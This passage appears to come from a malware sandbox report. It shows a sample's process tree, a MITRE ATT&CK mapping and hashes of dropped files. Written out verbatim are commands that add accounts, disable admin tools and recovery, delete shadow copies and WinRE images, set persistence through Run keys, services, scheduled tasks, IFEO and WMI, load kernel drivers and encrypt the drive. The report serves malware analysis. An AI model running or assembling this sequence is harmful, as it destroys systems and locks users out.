  PID:5596
- - C:\Windows\system32\net.exe
    net user opa_35 mTowVzUKh6 /add
    3⤵
    - Creates a new local user account
    PID:4308
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_35 mTowVzUKh6 /add
      4⤵
      PID:3708
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_36 DvuZOnjaAuYAr /add
  2⤵
  - Executes a command shell one-liner
  PID:4880
- - C:\Windows\system32\net.exe
    net user opa_36 DvuZOnjaAuYAr /add
    3⤵
    - Creates a new local user account
    PID:4008
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_36 DvuZOnjaAuYAr /add
      4⤵
      PID:2872
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_37 lBJ7JFAiFzC /add
  2⤵
  - Executes a command shell one-liner
  PID:5816
- - C:\Windows\system32\net.exe
    net user opa_37 lBJ7JFAiFzC /add
    3⤵
    PID:3504
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_37 lBJ7JFAiFzC /add
      4⤵
      Creates a new local user account
      PID:1804
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_38 1QIjMkkMAtHAj /add
  2⤵
  - Executes a command shell one-liner
  PID:4192
- - C:\Windows\system32\net.exe
    net user opa_38 1QIjMkkMAtHAj /add
    3⤵
    - Creates a new local user account
    PID:5368
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_38 1QIjMkkMAtHAj /add
      4⤵
      PID:2460
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_39 qg5K2dpjnG1 /add
  2⤵
  - Executes a command shell one-liner
  PID:4332
- - C:\Windows\system32\net.exe
    net user opa_39 qg5K2dpjnG1 /add
    3⤵
    - Creates a new local user account
    PID:3396
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_39 qg5K2dpjnG1 /add
      4⤵
      Creates a new local user account
      PID:3876
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_40 hQgKFmR0q9 /add
  2⤵
  - Executes a command shell one-liner
  PID:1692
- - C:\Windows\system32\net.exe
    net user opa_40 hQgKFmR0q9 /add
    3⤵
    - Creates a new local user account
    PID:1236
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_40 hQgKFmR0q9 /add
      4⤵
      Creates a new local user account
      PID:3288
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_41 oMm5NXzZ3sO /add
  2⤵
  - Executes a command shell one-liner
  PID:956
- - C:\Windows\system32\net.exe
    net user opa_41 oMm5NXzZ3sO /add
    3⤵
    - Creates a new local user account
    PID:4660
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_41 oMm5NXzZ3sO /add
      4⤵
      Creates a new local user account
      PID:3816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_42 TTP76RsTkWn /add
  2⤵
  - Executes a command shell one-liner
  PID:760
- - C:\Windows\system32\net.exe
    net user opa_42 TTP76RsTkWn /add
    3⤵
    - Creates a new local user account
    PID:4604
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_42 TTP76RsTkWn /add
      4⤵
      Creates a new local user account
      PID:3280
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_43 HR01Sa4F0rwiEG /add
  2⤵
  - Executes a command shell one-liner
  PID:4120
- - C:\Windows\system32\net.exe
    net user opa_43 HR01Sa4F0rwiEG /add
    3⤵
    - Creates a new local user account
    PID:1592
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_43 HR01Sa4F0rwiEG /add
      4⤵
      Creates a new local user account
      PID:5628
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_44 j12IdAAD0WZ /add
  2⤵
  - Executes a command shell one-liner
  PID:5384
- - C:\Windows\system32\net.exe
    net user opa_44 j12IdAAD0WZ /add
    3⤵
    PID:4840
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_44 j12IdAAD0WZ /add
      4⤵
      PID:4328
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_45 ngL1qGILR1j2uk /add
  2⤵
  - Executes a command shell one-liner
  PID:1160
- - C:\Windows\system32\net.exe
    net user opa_45 ngL1qGILR1j2uk /add
    3⤵
    PID:3696
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_45 ngL1qGILR1j2uk /add
      4⤵
      PID:4696
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_46 y0j60rej3WrMMQ /add
  2⤵
  - Executes a command shell one-liner
  PID:4680
- - C:\Windows\system32\net.exe
    net user opa_46 y0j60rej3WrMMQ /add
    3⤵
    - Creates a new local user account
    PID:4452
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_46 y0j60rej3WrMMQ /add
      4⤵
      PID:4376
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_47 0FXdYBkg1dEFli /add
  2⤵
  - Executes a command shell one-liner
  PID:4172
- - C:\Windows\system32\net.exe
    net user opa_47 0FXdYBkg1dEFli /add
    3⤵
    PID:3224
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_47 0FXdYBkg1dEFli /add
      4⤵
      Creates a new local user account
      PID:3964
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_48 RPfVd1dKKjYkN /add
  2⤵
  PID:2304
- - C:\Windows\system32\net.exe
    net user opa_48 RPfVd1dKKjYkN /add
    3⤵
    PID:1168
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_48 RPfVd1dKKjYkN /add
      4⤵
      Creates a new local user account
      PID:4836
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_49 8CNUeBYpMEUwsE /add
  2⤵
  PID:4608
- - C:\Windows\system32\net.exe
    net user opa_49 8CNUeBYpMEUwsE /add
    3⤵
    - Creates a new local user account
    PID:4600
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_49 8CNUeBYpMEUwsE /add
      4⤵
      Creates a new local user account
      PID:2952
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c net user opa_50 MRiYATKYiGh /add
  2⤵
  - Executes a command shell one-liner
  PID:4016
- - C:\Windows\system32\net.exe
    net user opa_50 MRiYATKYiGh /add
    3⤵
    - Creates a new local user account
    PID:244
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user opa_50 MRiYATKYiGh /add
      4⤵
      Creates a new local user account
      PID:3028
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:3472
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:4636
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  - Executes a command shell one-liner
  PID:3880
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:1140
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
  2⤵
  - Executes a command shell one-liner
  PID:4944
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    - Disables RegEdit via registry modification
    PID:5904
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
  2⤵
  PID:5248
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:5260
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
  2⤵
  PID:1328
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
    3⤵
    PID:5972
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
  2⤵
  - Executes a command shell one-liner
  PID:5936
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
    3⤵
    PID:2916
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 2 /f
  2⤵
  - Executes a command shell one-liner
  PID:5488
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 2 /f
    3⤵
    PID:3872
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal" /f
  2⤵
  - Executes a command shell one-liner
  PID:1760
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal" /f
    3⤵
    PID:5992
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network" /f
  2⤵
  PID:4544
- - C:\Windows\system32\reg.exe
    reg delete "HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network" /f
    3⤵
    PID:1036
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3096
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1784
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Executes a command shell one-liner
  PID:5224
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:6004
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c bcdedit /set {default} description "System_Core"
  2⤵
  - Executes a command shell one-liner
  PID:2612
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} description "System_Core"
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4116
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reagentc /disable
  2⤵
  PID:2312
- - C:\Windows\system32\ReAgentc.exe
    reagentc /disable
    3⤵
    - Drops file in System32 directory
    - Drops file in Windows directory
    PID:4060
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powercfg -h off
  2⤵
  - Power Settings
  PID:1844
- - C:\Windows\system32\powercfg.exe
    powercfg -h off
    3⤵
    - Power Settings
    - Suspicious use of AdjustPrivilegeToken
    PID:4196
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
  2⤵
  PID:2668
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1576
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c takeown /f C:\Windows\System32\Recovery\winre.wim /a
  2⤵
  - Executes a command shell one-liner
  PID:3884
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\Recovery\winre.wim /a
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:896
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls C:\Windows\System32\Recovery\winre.wim /grant administrators:F
  2⤵
  PID:3680
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\Recovery\winre.wim /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:3652
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q C:\Windows\System32\Recovery\winre.wim
  2⤵
  PID:2324
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c takeown /f C:\Recovery /r /d y
  2⤵
  - Executes a command shell one-liner
  PID:4388
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Recovery /r /d y
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:2096
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls C:\Recovery /grant administrators:F /t
  2⤵
  - Executes a command shell one-liner
  PID:1212
- - C:\Windows\system32\icacls.exe
    icacls C:\Recovery /grant administrators:F /t
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1884
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /s /q C:\Recovery\*winre.wim
  2⤵
  PID:5232
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy /y "%~f0" "C:\Windows\System32\conhost.exe"
  2⤵
  - Executes a command shell one-liner
  PID:2652
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy /y "%~f0" "C:\Windows\System32\syshost1.exe"
  2⤵
  - Executes a command shell one-liner
  PID:712
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy /y "%~f0" "C:\Windows\System32\syshost2.exe"
  2⤵
  - Executes a command shell one-liner
  PID:4132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy /y "%~f0" "C:\Windows\System32\syshost3.exe"
  2⤵
  - Executes a command shell one-liner
  PID:5484
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WinHost1" /t REG_SZ /d "C:\Windows\System32\conhost.exe" /f
  2⤵
  - Executes a command shell one-liner
  PID:1864
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WinHost1" /t REG_SZ /d "C:\Windows\System32\conhost.exe" /f
    3⤵
    PID:1672
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "WinHost2" /t REG_SZ /d "C:\Windows\System32\conhost.exe" /f
  2⤵
  - Executes a command shell one-liner
  PID:2840
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "WinHost2" /t REG_SZ /d "C:\Windows\System32\conhost.exe" /f
    3⤵
    PID:3332
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WinHost3" /t REG_SZ /d "C:\Windows\System32\conhost.exe" /f
  2⤵
  PID:1404
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "WinHost3" /t REG_SZ /d "C:\Windows\System32\conhost.exe" /f
    3⤵
    PID:2268
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "WinHost4" /t REG_SZ /d "C:\Windows\System32\conhost.exe" /f
  2⤵
  - Executes a command shell one-liner
  PID:6088
- - C:\Windows\system32\reg.exe
    reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "WinHost4" /t REG_SZ /d "C:\Windows\System32\conhost.exe" /f
    3⤵
    PID:5148
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy /y "C:\Windows\System32\conhost.exe" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\update.exe"
  2⤵
  - Executes a command shell one-liner
  PID:1824
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c schtasks /create /sc minute /mo 5 /tn "WindowsConsoleUpdate" /tr "C:\Windows\System32\conhost.exe" /ru "SYSTEM" /f
  2⤵
  - Executes a command shell one-liner
  PID:3304
- - C:\Windows\system32\schtasks.exe
    schtasks /create /sc minute /mo 5 /tn "WindowsConsoleUpdate" /tr "C:\Windows\System32\conhost.exe" /ru "SYSTEM" /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2488
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc create WinUpdateService binPath= "C:\Windows\System32\conhost.exe" type= own start= auto
  2⤵
  - Executes a command shell one-liner
  PID:2960
- - C:\Windows\system32\sc.exe
    sc create WinUpdateService binPath= "C:\Windows\System32\conhost.exe" type= own start= auto
    3⤵
    - Launches sc.exe
    PID:3660
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc start WinUpdateService
  2⤵
  PID:908
- - C:\Windows\system32\sc.exe
    sc start WinUpdateService
    3⤵
    - Launches sc.exe
    PID:2292
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\Windows\System32\syshost3.exe" /f
  2⤵
  - Executes a command shell one-liner
  PID:2460
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\Windows\System32\syshost3.exe" /f
    3⤵
    PID:2444
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
  2⤵
  - Executes a command shell one-liner
  PID:4048
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
    3⤵
    PID:4208
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe" /v "Debugger" /t REG_SZ /d "C:\Windows\System32\syshost1.exe" /f
  2⤵
  - Executes a command shell one-liner
  PID:5748
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\explorer.exe" /v "Debugger" /t REG_SZ /d "C:\Windows\System32\syshost1.exe" /f
    3⤵
    PID:3116
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe" /v "Debugger" /t REG_SZ /d "C:\Windows\System32\syshost2.exe" /f
  2⤵
  - Executes a command shell one-liner
  PID:3036
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe" /v "Debugger" /t REG_SZ /d "C:\Windows\System32\syshost2.exe" /f
    3⤵
    PID:3916
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command "$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{Name='WinEventFilter'; EventNamespace='root\cimv2'; Query='SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \'Win32_PerfFormattedData_PerfOS_System\''}; $consumer = Set-WmiInstance -Namespace root\subscription -Class __CommandLineEventConsumer -Arguments @{Name='WinEventConsumer'; CommandLineTemplate='C:\Windows\System32\conhost.exe'}; Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$filter; Consumer=$consumer}"
  2⤵
  - Executes a command shell one-liner
  PID:236
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{Name='WinEventFilter'; EventNamespace='root\cimv2'; Query='SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \'Win32_PerfFormattedData_PerfOS_System\''}; $consumer = Set-WmiInstance -Namespace root\subscription -Class __CommandLineEventConsumer -Arguments @{Name='WinEventConsumer'; CommandLineTemplate='C:\Windows\System32\conhost.exe'}; Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$filter; Consumer=$consumer}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5812
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy /y "bddff.sys" "C:\Windows\System32\drivers\bddff.sys"
  2⤵
  - Executes a command shell one-liner
  PID:5396
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c copy /y "abbaba.sys" "C:\Windows\System32\drivers\abbaba.sys"
  2⤵
  - Executes a command shell one-liner
  PID:5528
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc create bddff binPath= "C:\Windows\System32\drivers\bddff.sys" type= kernel start= auto
  2⤵
  PID:1444
- - C:\Windows\system32\sc.exe
    sc create bddff binPath= "C:\Windows\System32\drivers\bddff.sys" type= kernel start= auto
    3⤵
    - Launches sc.exe
    PID:4056
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc start bddff
  2⤵
  PID:3612
- - C:\Windows\system32\sc.exe
    sc start bddff
    3⤵
    - Launches sc.exe
    PID:1900
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc create abbaba binPath= "C:\Windows\System32\drivers\abbaba.sys" type= kernel start= auto
  2⤵
  - Executes a command shell one-liner
  PID:4824
- - C:\Windows\system32\sc.exe
    sc create abbaba binPath= "C:\Windows\System32\drivers\abbaba.sys" type= kernel start= auto
    3⤵
    - Launches sc.exe
    PID:4104
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c sc start abbaba
  2⤵
  - Executes a command shell one-liner
  PID:4828
- - C:\Windows\system32\sc.exe
    sc start abbaba
    3⤵
    - Launches sc.exe
    PID:3408
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c takeown /f C:\Windows\System32\utilman.exe /a
  2⤵
  - Executes a command shell one-liner
  PID:4124
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\utilman.exe /a
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls C:\Windows\System32\utilman.exe /grant administrators:F
  2⤵
  PID:824
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\utilman.exe /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:940
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /q C:\Windows\System32\utilman.exe
  2⤵
  PID:2724
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKCU\Control Panel\Cursors" /v CursorBaseSize /t REG_DWORD /d 64 /f
  2⤵
  PID:1348
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Control Panel\Cursors" /v CursorBaseSize /t REG_DWORD /d 64 /f
    3⤵
    PID:5568
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cipher /e /s:C:\
  2⤵
  - Executes a command shell one-liner
  PID:3980
- - C:\Windows\system32\cipher.exe
    cipher /e /s:C:\
    3⤵
    PID:5792

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2636

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:616

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe
1⤵
- Suspicious use of SetWindowsHookEx
PID:2796
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe
  2⤵
  PID:5048

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Create Account

T1136

Local Account

T1136.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Accessibility Features

T1546.008

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Accessibility Features

T1546.008

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Indicator Removal

T1070

File Deletion

T1070.004

Network Share Connection Removal

T1070.005

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

update.exe

Path C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\update.exe
Size 1000KB
SHA256 0eb777256a7336e65607eb7ccb5772e37b7a4921c75ff1979af42c3b23ca679b
MD5 9a234da5a955dcecba6bb7f22ef2a34a
SHA1 b28ab7506c06e2e0f9553d342c757bf2f3833c74
SHA512 2678b91bd1803ef5aae051ef82594d6aa612e6a1f15390e2a675ff9f0c354dbceac095f69193ffb396bc5ac039164bf2454273c9230cadd0b9a1643ce522c6ad
SSDEEP 12288:CdzvLqUYZl4CG6925VKsDqM6daxNkSQOTzMuTpAu7i:GJG4z6g5oaidaxObVuSu7i
TLSH
T1E1258E6EA6AC01E5C57AD07CC5438A1AF6B03C56037197CB02E0866A7F2BBF85B3D751
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 0b9ca35d7c3a939f6496acd440913cf92a28884ed0379d5b9756a0446ef017ec
MD5 e8384d67ca2c2a746cfe621276d427ba
SHA1 cf935f4520cbc26e6e00ccdd4fe598d2acac01ee
SHA512 6ed884b76286a19de7139c57a4af0d24664b337a57098835fe76df7fad6e1b1203a4909ae361cc50eebbcf27f3aee1d0a16324dec74c04953dde97a5f2357a25
TLSH
T175116633F3CC8624DC5A413610CEA81136B687CB40DECE6B7B84D154B42F685DE60260
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4200-13-0x00007FF7035E0000-0x00007FF7037AB000-memory.dmp

Download

memory/5812-18-0x000001B7EAF80000-0x000001B7EAFA2000-memory.dmp

Download